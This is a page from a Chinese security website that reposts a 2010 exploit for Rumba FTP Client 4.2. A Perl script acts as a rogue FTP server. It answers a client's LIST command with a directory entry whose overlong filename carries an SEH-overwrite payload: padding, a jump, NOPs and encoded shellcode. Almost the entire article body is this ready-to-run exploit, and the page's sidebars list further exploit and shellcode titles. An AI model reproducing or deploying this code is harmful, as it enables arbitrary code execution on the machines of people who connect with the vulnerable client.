首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Rumba ftp Client 4.2 PASV BoF (SEH)
来源:darkernet[at]gmail.com 作者:zombiefx 发布时间:2010-04-26  

# Email: darkernet[at]gmail.com
# Tested on: Windows XP SP3
# SEH overwrite occurs when sending the directory listing to the client with an
# overly long filename extension.*Note version 4.2.3 might also suffer from this.
# Usage: ./rumbaftp_exploit
# Code:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
  or die "Socket Not Created $!\n";
print
      "#############################################################\n"
    . "#              Rumba ftp Client 4.2 PASV BoF (SEH)          #\n"
    . "#                By: zombiefx                               #\n"
    . "#         Listening on port 21 with pasv port of 31337      #\n"
    . "#############################################################\n";
my $pasvip = "127,0,0,1";
while ( my $data = $sock->accept() ) {
    print "Client Connected!\nAwaiting Ftp commands: \n";
    print $data "220 Gangsta Rap Made Me Do It\r\n";
    while (<$data>) {
        print;
        print $data "331 Anonymous access allowed\r\n"                        if (/USER/i);
        print $data "230-Welcome to N0 M4Ns l4nd.\r\n230 User logged in.\r\n" if (/PASS/i);
        print $data "215 UNIX Type: L8 \r\n"                                  if (/SYST/i);
        print $data "257 \"/\" is current directory.\r\n"                     if (/PWD/i);
        print $data "200 Type set to I.\r\n"                                  if (/TYPE I/i);
        print $data "200 Type set to A.\r\n"                                  if (/TYPE A/i);
        print $data "214 Syntax: SITE - (site-specific commands)\r\n"         if (/HELP/i);
        print $data "227 Entering Passive Mode ($pasvip,122,105)\r\n"         if (/PASV/i);

        if (/LIST/i) {
            print $data "150 Here comes the directory listing.\r\n" . "226 Directory send OK.\r\n";
            &senddata( '122', '105' );
        }

    }
    print "Payload delivered check the client!\n";
}

sub senddata {
    my $port     = $_[0] * 256  + $_[1];
    my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' );
    my $pasvdata = $pasvsock->accept();
    my $junk    = "\x77" x 1351;
    my $seh  = pack( 'V', 0x1006E534 );# located in ftplogic.dll
    my $nseh = "\xeb\x06\x90\x90";
    my $nops = "\x90" x 50;
    my $calcshell =
        "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
      . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
      . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
      . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
      . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
      . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
      . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
      . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
      . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
      . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
      . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
      . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
      . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
      . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
      . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
      . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
      . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
      . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
      . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
      . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
      . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
      . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

    my $payload = $junk . $nseh . $seh . $nops . $calcshell;

    print $pasvdata
      "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  test.$payload\r\n\r\n";
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Easyzip 2000 v3.5 (.zip) 0day
·WM Downloader v3.0.0.9 Buffer
·MacOS X 10.6 HFS File System A
·Linux/x86_64 reboot(POWER_OFF)
·ZipWrangler 1.20 (.zip) SEH 0d
·Linux/x86_64 execve("/bin/sh")
·HP Digital Imaging (hpodio08.d
·linux/x86 sends "Phuck3d!" to
·27 bytes setuid(0) ^ execve("/
·27 bytes setreuid(0, 0) & exec
·WebKit <= 532.5 Stack Exhausti
·CommView Version 6.1 (Build 63
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved